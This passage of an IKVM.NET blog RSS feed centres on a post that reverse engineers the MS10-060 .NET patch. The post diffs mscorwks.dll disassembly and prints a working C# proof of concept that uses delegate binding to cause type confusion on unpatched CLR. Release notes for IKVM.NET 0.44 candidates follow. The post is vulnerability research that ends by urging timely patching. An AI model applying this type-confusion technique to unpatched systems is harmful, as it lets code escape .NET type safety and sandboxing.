      and wanted to look into it. We mailed a couple of times more during the week and on
      Friday he mailed me a list of addresses of functions that had been changed by the
      patch. Unfortunately, he was probably looking a different version of the patch (for
      a different platform), because the addresses didn't make any sense to me.
   </p>
        <p>
          <strong>More Searching</strong>
        </p>
        <p>
      However, his e-mail did inspire me to take another look and this time I thought, why
      not start by examining all the functions in mscorwks from the COMDelegate class. From
      the Shared Source CLI code I knew that was the native class that contained the native
      code for System.Delegate. After about an hour of comparing methods I finally found
      a difference:
   </p>
        <p>
      Unpatched mscorwks.dll (2.0.50727.4927 Windows 7 x86):
   </p>
        <pre>  7A04799D: 8B CB              mov         ecx,ebx
  7A04799F: E8 36 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479A4: 85 C0              test        eax,eax
  7A0479A6: 74 09              je          7A0479B1
  <span style="BACKGROUND-COLOR: yellow">7A0479A8:
   F6 46 03 04 test byte ptr [esi+3],4</span><span style="BACKGROUND-COLOR: yellow">7A0479AC:
   75 03 jne 7A0479B1</span> 7A0479AE: 33 FF xor edi,edi 7A0479B0: 47 inc edi 7A0479B1:
   6A 06 push 6 7A0479B3: 6A 01 push 1 7A0479B5: 6A 00 push 0 7A0479B7: 6A 00 push 0
   7A0479B9: 51 push ecx 7A0479BA: 51 push ecx 7A0479BB: 8B C4 mov eax,esp 7A0479BD:
   89 65 C0 mov dword ptr [ebp-40h],esp 7A0479C0: 50 push eax 7A0479C1: 8B CE mov ecx,esi
   7A0479C3: E8 C7 6D E3 FF call ?GetMethodInstantiation@MethodDesc@@»</pre>
        <p>
      Patched mscorwks.dll (2.0.50727.4952 Windows 7 x86):
   </p>
        <pre>  7A0479A3: 8B CF              mov         ecx,edi
  7A0479A5: E8 40 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479AA: 85 C0              test        eax,eax
  7A0479AC: 74 03              je          7A0479B1
  7A0479AE: 33 DB              xor         ebx,ebx
  7A0479B0: 43                 inc         ebx
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»</pre>
        <p>
      The highlighted code has been removed. This is in the COMDelegate::BindToMethodInfo
      method. Looking at the Shared Source CLI code it was easy to locate the corresponding
      code and I noticed that the removed code was probably an inlined call to method-&gt;IsUnboxingStub().
      A quick search for IsUnboxingStub in the header files confirmed this.
   </p>
        <p>
          <strong>How to Exploit</strong>
        </p>
        <p>
      After a minute of reflection, I guessed that the bug was probably related to how value
      type methods have a different concept of "this" than normal methods (because a non-boxed
      value doesn't have an object header, which is normally where the this pointer points).
      To solve this, the runtime generates UnboxingStubs for virtual methods (inherited
      from System.Object) that are overridden by a value type.
   </p>
        <p>
      I hit the jackpot with my first attempt. Here is a slightly modified version of what
      I tried:
   </p>
        <pre>
          <span style="COLOR: #0000ff">using</span> System; <span style="COLOR: #0000ff">using</span> System.Reflection;<br /><span style="COLOR: #0000ff">class</span><span style="COLOR: #2b91af">Union1</span> { <span style="COLOR: #0000ff">internal
   volatile int</span> i; <span style="COLOR: #0000ff">internal volatile int</span> j;
   }<br /><span style="COLOR: #0000ff">class</span><span style="COLOR: #2b91af">Union2</span> { <span style="COLOR: #0000ff">internal
   volatile object</span> o; <span style="COLOR: #0000ff">internal volatile int</span>[]
   arr; }<br /><span style="COLOR: #0000ff">public struct</span><span style="COLOR: #2b91af">Foo</span> { <span style="COLOR: #0000ff">object</span> obj; <span style="COLOR: #2b91af">Union2</span> u2;<br /><span style="COLOR: #0000ff">public</span> Foo(<span style="COLOR: #0000ff">object</span> obj)
   { this.obj = obj; this.u2 = null; }<br /><span style="COLOR: #0000ff">public override string</span> ToString() { <span style="COLOR: #2b91af">Program</span>.u2
   = u2; <span style="COLOR: #0000ff">return null</span>; } }<br /><span style="COLOR: #0000ff">delegate string</span><span style="COLOR: #2b91af">MyDelegate</span>();<br /><span style="COLOR: #0000ff">class</span><span style="COLOR: #2b91af">Program</span> { <span style="COLOR: #0000ff">internal
   static</span><span style="COLOR: #2b91af">Union2</span> u2;<br /><span style="COLOR: #0000ff">static void</span> Main(<span style="COLOR: #0000ff">string</span>[]
   args) { <span style="COLOR: #2b91af">Union1</span> u1 = <span style="COLOR: #0000ff">new</span><span style="COLOR: #2b91af">Union1</span>();<br /><span style="COLOR: #2b91af">MethodInfo</span> method = <span style="COLOR: #0000ff">typeof</span>(<span style="COLOR: #2b91af">Foo</span>).GetMethod(<span style="COLOR: #a31515">"ToString"</span>); <span style="COLOR: #2b91af">MyDelegate</span> d
   = (<span style="COLOR: #2b91af">MyDelegate</span>)<span style="COLOR: #2b91af">Delegate</span>.CreateDelegate(<span style="COLOR: #0000ff">typeof</span>(<span style="COLOR: #2b91af">MyDelegate</span>), <span style="COLOR: #0000ff">new</span><span style="COLOR: #2b91af">Foo</span>(u1),
   method); d();<br /><span style="COLOR: #2b91af">Console</span>.WriteLine(u1); <span style="COLOR: #2b91af">Console</span>.WriteLine(u2);
   } } </pre>
        <p>
      When you run this code on an unpatched system, you'll see that both WriteLine calls
      output Union1, in other words, we now have a reference typed as Union2 pointing the
      a Union1 instance. This is exactly the requirement I described in <a href="/PermaLink.aspx?guid=3cc8beef-3424-488d-8429-50e244f15ccc">Writing
      a .NET Security Exploit PoC</a>.
   </p>
        <p>
          <strong>Conclusion</strong>
        </p>
        <p>
      A had read before that malware authors can often update their malware within an hour
      after a patch is released to take advantage of the vulnerabilities addressed by the
      patch, but actually doing the reverse engineering myself did really drive home the
      point. It took me a couple of days, had I had the proper tools and the motivation
      I could have easily done this within an hour or so of the patch release. Of course,
      I had some help from the Shared Source CLI and without the source it would have taken
      me a bit longer, but then again I'm not an experienced malware author.
   </p>
        <p>
      So installing the security updates in a timely fashion is really important.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=c1e9440e-becc-41a4-bf2a-12c407f07737" />
      </body>
      <title>Reverse Engineering the MS10-060 .NET Security Patch</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=c1e9440e-becc-41a4-bf2a-12c407f07737</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=c1e9440e-becc-41a4-bf2a-12c407f07737</link>
      <pubDate>Sat, 14 Aug 2010 09:01:33 GMT</pubDate>
      <description>&lt;p&gt;
   On Patch Tuesday, one of the patches Microsoft released was &lt;a href="http://www.microsoft.com/technet/security/bulletin/ms10-060.mspx"&gt;MS10-060&lt;/a&gt;.
   It addresses a Silverlight memory corruption and a CLR delegate issue. I was curious
   about the CLR delegate issue and decided to see if I could reverse engineer the patch
   to find the issue. Now, I'm not a professional security researcher or malware developer,
   so I don't have any good tools to do this. They have binary diffing tools that make
   it very easy to find the differences between the original file and the patched file.
   I was stuck with dumpbin /disasm to get the disassembled code for the two versions
   of the file, but I'm getting ahead of myself.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Patch Contents&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   In the &lt;a href="http://support.microsoft.com/kb/983590"&gt;KB983590&lt;/a&gt; article Microsoft
   helpfully describes all the files that are changed by the update. Looking through
   the list it is obvious that there are only two interesting files: mscorwks.dll and
   mscorlib. After running both the patched and unpatched versions of mscorlib.dll through
   ildasm it was obvious that there weren't any changes to mscorlib (other than the version
   number). So I had to focus on the unmanaged code side. I ran the patched and unpatched
   versions of mscorwks.dll through dumpbin /disasm and looked at the resulting files:
&lt;/p&gt;
&lt;pre&gt;C:\j\ms10-060&amp;gt;dir&lt;br&gt;
Volume in drive C is 320GB_7200 Volume Serial Number is 0404-135D&lt;br&gt;
Directory of C:\j\ms10-060&lt;br&gt;
08/12/2010 08:36 &amp;lt;DIR&amp;gt; . 08/12/2010 08:36 &amp;lt;DIR&amp;gt; .. 05/21/2010 00:49 5,816,656
mscorwks-ms10-060.dll 08/12/2010 08:28 5,157 mscorwks-ms10-060.headers 08/12/2010
08:38 &lt;span style="BACKGROUND-COLOR: yellow"&gt;118,871,231&lt;/span&gt; mscorwks-ms10-060.lst
06/10/2009 23:23 5,816,640 mscorwks-vuln.dll 08/12/2010 08:27 5,153 mscorwks-vuln.headers
08/12/2010 08:35 118,827,088 mscorwks-vuln.lst 6 File(s) 249,341,925 bytes 2 Dir(s)
105,945,309,184 bytes free&lt;/pre&gt;
&lt;p&gt;
   OK. So the file sizes are somewhat intimidating. I have the &lt;a href="http://www.microsoft.com/whdc/devtools/debugging/debugstart.mspx"&gt;Microsoft
   symbol server&lt;/a&gt; configured, so dumpbin helpfully provided the symbol names, so that
   makes navigating the files a lot easier. Given the description of the vulnerability,
   I first looked at how the JIT compiles the construction of a delegate and noticed
   that it calls the JIT_VirtualFunctionPointer method in mscorwks. I looked at that,
   but it was unmodified by the patch. I did a little more random browsing through the
   file but wasn't getting anywhere.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;The&amp;nbsp; Security Researcher&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   On Wednesday I had gotten an e-mail from a security researcher that wanted to know
   if I had any details on the vulnerability. I told him I hadn't yet, but was very curious
   and wanted to look into it. We mailed a couple of times more during the week and on
   Friday he mailed me a list of addresses of functions that had been changed by the
   patch. Unfortunately, he was probably looking a different version of the patch (for
   a different platform), because the addresses didn't make any sense to me.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;More Searching&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   However, his e-mail did inspire me to take another look and this time I thought, why
   not start by examining all the functions in mscorwks from the COMDelegate class. From
   the Shared Source CLI code I knew that was the native class that contained the native
   code for System.Delegate. After about an hour of comparing methods I finally found
   a difference:
&lt;/p&gt;
&lt;p&gt;
   Unpatched mscorwks.dll (2.0.50727.4927 Windows 7 x86):
&lt;/p&gt;
&lt;pre&gt;  7A04799D: 8B CB              mov         ecx,ebx
  7A04799F: E8 36 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479A4: 85 C0              test        eax,eax
  7A0479A6: 74 09              je          7A0479B1
  &lt;span style="BACKGROUND-COLOR: yellow"&gt;7A0479A8:
F6 46 03 04 test byte ptr [esi+3],4&lt;/span&gt; &lt;span style="BACKGROUND-COLOR: yellow"&gt;7A0479AC:
75 03 jne 7A0479B1&lt;/span&gt; 7A0479AE: 33 FF xor edi,edi 7A0479B0: 47 inc edi 7A0479B1:
6A 06 push 6 7A0479B3: 6A 01 push 1 7A0479B5: 6A 00 push 0 7A0479B7: 6A 00 push 0
7A0479B9: 51 push ecx 7A0479BA: 51 push ecx 7A0479BB: 8B C4 mov eax,esp 7A0479BD:
89 65 C0 mov dword ptr [ebp-40h],esp 7A0479C0: 50 push eax 7A0479C1: 8B CE mov ecx,esi
7A0479C3: E8 C7 6D E3 FF call ?GetMethodInstantiation@MethodDesc@@&amp;#187;&lt;/pre&gt;
&lt;p&gt;
   Patched mscorwks.dll (2.0.50727.4952 Windows 7 x86):
&lt;/p&gt;
&lt;pre&gt;  7A0479A3: 8B CF              mov         ecx,edi
  7A0479A5: E8 40 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479AA: 85 C0              test        eax,eax
  7A0479AC: 74 03              je          7A0479B1
  7A0479AE: 33 DB              xor         ebx,ebx
  7A0479B0: 43                 inc         ebx
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@&amp;#187;&lt;/pre&gt;
&lt;p&gt;
   The highlighted code has been removed. This is in the COMDelegate::BindToMethodInfo
   method. Looking at the Shared Source CLI code it was easy to locate the corresponding
   code and I noticed that the removed code was probably an inlined call to method-&amp;gt;IsUnboxingStub().
   A quick search for IsUnboxingStub in the header files confirmed this.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;How to Exploit&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   After a minute of reflection, I guessed that the bug was probably related to how value
   type methods have a different concept of "this" than normal methods (because a non-boxed
   value doesn't have an object header, which is normally where the this pointer points).
   To solve this, the runtime generates UnboxingStubs for virtual methods (inherited
   from System.Object) that are overridden by a value type.
&lt;/p&gt;
&lt;p&gt;
   I hit the jackpot with my first attempt. Here is a slightly modified version of what
   I tried:
&lt;/p&gt;
&lt;pre&gt;&lt;span style="COLOR: #0000ff"&gt;using&lt;/span&gt; System; &lt;span style="COLOR: #0000ff"&gt;using&lt;/span&gt; System.Reflection;&lt;br&gt;
&lt;span style="COLOR: #0000ff"&gt;class&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Union1&lt;/span&gt; { &lt;span style="COLOR: #0000ff"&gt;internal
volatile int&lt;/span&gt; i; &lt;span style="COLOR: #0000ff"&gt;internal volatile int&lt;/span&gt; j;
}&lt;br&gt;
&lt;span style="COLOR: #0000ff"&gt;class&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Union2&lt;/span&gt; { &lt;span style="COLOR: #0000ff"&gt;internal
volatile object&lt;/span&gt; o; &lt;span style="COLOR: #0000ff"&gt;internal volatile int&lt;/span&gt;[]
arr; }&lt;br&gt;
&lt;span style="COLOR: #0000ff"&gt;public struct&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Foo&lt;/span&gt; { &lt;span style="COLOR: #0000ff"&gt;object&lt;/span&gt; obj; &lt;span style="COLOR: #2b91af"&gt;Union2&lt;/span&gt; u2;&lt;br&gt;
&lt;span style="COLOR: #0000ff"&gt;public&lt;/span&gt; Foo(&lt;span style="COLOR: #0000ff"&gt;object&lt;/span&gt; obj)
{ this.obj = obj; this.u2 = null; }&lt;br&gt;
&lt;span style="COLOR: #0000ff"&gt;public override string&lt;/span&gt; ToString() { &lt;span style="COLOR: #2b91af"&gt;Program&lt;/span&gt;.u2
= u2; &lt;span style="COLOR: #0000ff"&gt;return null&lt;/span&gt;; } }&lt;br&gt;
&lt;span style="COLOR: #0000ff"&gt;delegate string&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;MyDelegate&lt;/span&gt;();&lt;br&gt;
&lt;span style="COLOR: #0000ff"&gt;class&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Program&lt;/span&gt; { &lt;span style="COLOR: #0000ff"&gt;internal
static&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Union2&lt;/span&gt; u2;&lt;br&gt;
&lt;span style="COLOR: #0000ff"&gt;static void&lt;/span&gt; Main(&lt;span style="COLOR: #0000ff"&gt;string&lt;/span&gt;[]
args) { &lt;span style="COLOR: #2b91af"&gt;Union1&lt;/span&gt; u1 = &lt;span style="COLOR: #0000ff"&gt;new&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Union1&lt;/span&gt;();&lt;br&gt;
&lt;span style="COLOR: #2b91af"&gt;MethodInfo&lt;/span&gt; method = &lt;span style="COLOR: #0000ff"&gt;typeof&lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;Foo&lt;/span&gt;).GetMethod(&lt;span style="COLOR: #a31515"&gt;"ToString"&lt;/span&gt;); &lt;span style="COLOR: #2b91af"&gt;MyDelegate&lt;/span&gt; d
= (&lt;span style="COLOR: #2b91af"&gt;MyDelegate&lt;/span&gt;)&lt;span style="COLOR: #2b91af"&gt;Delegate&lt;/span&gt;.CreateDelegate(&lt;span style="COLOR: #0000ff"&gt;typeof&lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;MyDelegate&lt;/span&gt;), &lt;span style="COLOR: #0000ff"&gt;new&lt;/span&gt; &lt;span style="COLOR: #2b91af"&gt;Foo&lt;/span&gt;(u1),
method); d();&lt;br&gt;
&lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;.WriteLine(u1); &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;.WriteLine(u2);
} } &lt;/pre&gt;
&lt;p&gt;
   When you run this code on an unpatched system, you'll see that both WriteLine calls
   output Union1, in other words, we now have a reference typed as Union2 pointing the
   a Union1 instance. This is exactly the requirement I described in &lt;a href="/PermaLink.aspx?guid=3cc8beef-3424-488d-8429-50e244f15ccc"&gt;Writing
   a .NET Security Exploit PoC&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Conclusion&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   A had read before that malware authors can often update their malware within an hour
   after a patch is released to take advantage of the vulnerabilities addressed by the
   patch, but actually doing the reverse engineering myself did really drive home the
   point. It took me a couple of days, had I had the proper tools and the motivation
   I could have easily done this within an hour or so of the patch release. Of course,
   I had some help from the Shared Source CLI and without the source it would have taken
   me a bit longer, but then again I'm not an experienced malware author.
&lt;/p&gt;
&lt;p&gt;
   So installing the security updates in a timely fashion is really important.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=c1e9440e-becc-41a4-bf2a-12c407f07737"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=c1e9440e-becc-41a4-bf2a-12c407f07737</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=263c2edf-4f49-460e-a567-55dcd261300a</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=263c2edf-4f49-460e-a567-55dcd261300a</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=263c2edf-4f49-460e-a567-55dcd261300a</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=263c2edf-4f49-460e-a567-55dcd261300a</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      More bug fixes and another release candidate.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Changed version to 0.44.0.4</li>
          <li>
         Fixed <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html#wait(long, int)">Object.wait()</a> to
         not throw an exception when a timeout &gt; Integer.MAX_VALUE is used. Thanks to Andy
         Malakov for reporting this.</li>
          <li>
         IKVM.Reflection: Fixed IA64 and x64 import directory alignment.</li>
          <li>
         IKVM.Reflection: Fixed bug <a href="https://sourceforge.net/tracker/?func=detail&amp;aid=3040528&amp;group_id=69637&amp;atid=525264">#3040528</a>.
         Thanks to Ignacio Hernandez-Ros.</li>
        </ul>
        <p>
      Binary available here: <a href="http://www.frijters.net/ikvmbin-0.44.0.4.zip">ikvmbin-0.44.0.4.zip</a></p>
        <p>
      Sources: <a href="http://www.frijters.net/ikvmsrc-0.44.0.4.zip">ikvmsrc-0.44.0.4.zip</a>, <a href="http://www.frijters.net/openjdk6-b18-stripped.zip">openjdk6-b18-stripped.zip</a></p>
        <p>
      The sources zip no longer contains any binaries.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=263c2edf-4f49-460e-a567-55dcd261300a" />
      </body>
      <title>IKVM.NET 0.44 Release Candidate 4</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=263c2edf-4f49-460e-a567-55dcd261300a</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=263c2edf-4f49-460e-a567-55dcd261300a</link>
      <pubDate>Tue, 10 Aug 2010 06:40:31 GMT</pubDate>
      <description>&lt;p&gt;
   More bug fixes and another release candidate.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Changed version to 0.44.0.4&lt;/li&gt;
   &lt;li&gt;
      Fixed &lt;a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html#wait(long, int)"&gt;Object.wait()&lt;/a&gt; to
      not throw an exception when a timeout &amp;gt; Integer.MAX_VALUE is used. Thanks to Andy
      Malakov for reporting this.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Fixed IA64 and x64 import directory alignment.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Fixed bug &lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;aid=3040528&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;#3040528&lt;/a&gt;.
      Thanks to Ignacio Hernandez-Ros.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binary available here: &lt;a href="http://www.frijters.net/ikvmbin-0.44.0.4.zip"&gt;ikvmbin-0.44.0.4.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvmsrc-0.44.0.4.zip"&gt;ikvmsrc-0.44.0.4.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk6-b18-stripped.zip"&gt;openjdk6-b18-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   The sources zip no longer contains any binaries.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=263c2edf-4f49-460e-a567-55dcd261300a"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=263c2edf-4f49-460e-a567-55dcd261300a</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=298d6824-2921-4b6c-a839-d55295d0b001</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=298d6824-2921-4b6c-a839-d55295d0b001</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=298d6824-2921-4b6c-a839-d55295d0b001</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=298d6824-2921-4b6c-a839-d55295d0b001</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      A new release candidate with several bug fixes.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Changed version to 0.44.0.3</li>
          <li>
         Updated HOWTO. Thanks to Dawid Weiss.</li>
          <li>
         Fixed <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Process.html#destroy()">Process.destroy()</a> to
         swallow System.ComponentModel.Win32Exception.</li>
          <li>
         Fixed <a href="http://download.oracle.com/javase/6/docs/api/java/util/zip/Inflater.html#finished()">Inflater.finished()</a> to
         not throw NullPointerException if it is called after <a href="http://download.oracle.com/javase/6/docs/api/java/util/zip/Inflater.html#end()">end()</a> has
         been called.</li>
          <li>
         Fix for bug <a href="https://sourceforge.net/tracker/?func=detail&amp;aid=3035831&amp;group_id=69637&amp;atid=525264">#3035831</a>.
         Thanks to Dawid Weiss.</li>
          <li>
         Fixed issue with reflecting on inner classes of cli.System.Exception.</li>
          <li>
         Fixed another verifier regression introduced with try/fault handler changes.</li>
          <li>
         Fixed field reflection slow path to throw NullPointerException instead of IllegalArgumentException
         for instance fields if the instance object is null.</li>
          <li>
         Fixed dynamic mode late bound (dynamic) instructions to throw NoClassDefFoundError
         before NullPointerException.</li>
          <li>
         Fixed Inet4AddressImpl.getHostByAddr() to catch System.ArgumentException and throw
         java.net.UnknownHostException instead.</li>
          <li>
         Fixed path canonicalization issue exposed by JRuby (which subclasses java.io.File
         to use a / file separator on Windows).</li>
        </ul>
        <p>
      Binary available here: <a href="http://www.frijters.net/ikvmbin-0.44.0.3.zip">ikvmbin-0.44.0.3.zip</a></p>
        <p>
      Sources: <a href="http://www.frijters.net/ikvmsrc-0.44.0.3.zip">ikvmsrc-0.44.0.3.zip</a>, <a href="http://www.frijters.net/openjdk6-b18-stripped.zip">openjdk6-b18-stripped.zip</a></p>
        <p>
      The sources zip no longer contains any binaries.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=298d6824-2921-4b6c-a839-d55295d0b001" />
      </body>
      <title>IKVM.NET 0.44 Release Candidate 3</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=298d6824-2921-4b6c-a839-d55295d0b001</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=298d6824-2921-4b6c-a839-d55295d0b001</link>
      <pubDate>Wed, 04 Aug 2010 06:35:28 GMT</pubDate>
      <description>&lt;p&gt;
   A new release candidate with several bug fixes.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Changed version to 0.44.0.3&lt;/li&gt;
   &lt;li&gt;
      Updated HOWTO. Thanks to Dawid Weiss.&lt;/li&gt;
   &lt;li&gt;
      Fixed &lt;a href="http://download.oracle.com/javase/6/docs/api/java/lang/Process.html#destroy()"&gt;Process.destroy()&lt;/a&gt; to
      swallow System.ComponentModel.Win32Exception.&lt;/li&gt;
   &lt;li&gt;
      Fixed &lt;a href="http://download.oracle.com/javase/6/docs/api/java/util/zip/Inflater.html#finished()"&gt;Inflater.finished()&lt;/a&gt; to
      not throw NullPointerException if it is called after &lt;a href="http://download.oracle.com/javase/6/docs/api/java/util/zip/Inflater.html#end()"&gt;end()&lt;/a&gt; has
      been called.&lt;/li&gt;
   &lt;li&gt;
      Fix for bug &lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;aid=3035831&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;#3035831&lt;/a&gt;.
      Thanks to Dawid Weiss.&lt;/li&gt;
   &lt;li&gt;
      Fixed issue with reflecting on inner classes of cli.System.Exception.&lt;/li&gt;
   &lt;li&gt;
      Fixed another verifier regression introduced with try/fault handler changes.&lt;/li&gt;
   &lt;li&gt;
      Fixed field reflection slow path to throw NullPointerException instead of IllegalArgumentException
      for instance fields if the instance object is null.&lt;/li&gt;
   &lt;li&gt;
      Fixed dynamic mode late bound (dynamic) instructions to throw NoClassDefFoundError
      before NullPointerException.&lt;/li&gt;
   &lt;li&gt;
      Fixed Inet4AddressImpl.getHostByAddr() to catch System.ArgumentException and throw
      java.net.UnknownHostException instead.&lt;/li&gt;
   &lt;li&gt;
      Fixed path canonicalization issue exposed by JRuby (which subclasses java.io.File
      to use a / file separator on Windows).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binary available here: &lt;a href="http://www.frijters.net/ikvmbin-0.44.0.3.zip"&gt;ikvmbin-0.44.0.3.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvmsrc-0.44.0.3.zip"&gt;ikvmsrc-0.44.0.3.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk6-b18-stripped.zip"&gt;openjdk6-b18-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   The sources zip no longer contains any binaries.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=298d6824-2921-4b6c-a839-d55295d0b001"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=298d6824-2921-4b6c-a839-d55295d0b001</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      A new release candidate with two bug fixes.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Changed version to 0.44.0.2</li>
          <li>
         Fixed Field.set() bug #<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=3033769&amp;group_id=69637&amp;atid=525264">3033769</a>.</li>
          <li>
         When a protected or public member is accessed in a non-public base class in another
         assembly that is simultaneously compiled, we need to add an InternalsVisibleTo to
         the callee assembly for the caller assembly.</li>
        </ul>
        <p>
      Binary available here: <a href="http://www.frijters.net/ikvmbin-0.44.0.2.zip">ikvmbin-0.44.0.2.zip</a></p>
        <p>
      Sources: <a href="http://www.frijters.net/ikvmsrc-0.44.0.2.zip">ikvmsrc-0.44.0.2.zip</a>, <a href="http://www.frijters.net/openjdk6-b18-stripped.zip">openjdk6-b18-stripped.zip</a></p>
        <p>
      The sources zip no longer contains any binaries.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b" />
      </body>
      <title>IKVM.NET 0.44 Release Candidate 2</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=ec7729c4-cf2d-4a2c-89c9-dabe08abcf3b</guid>
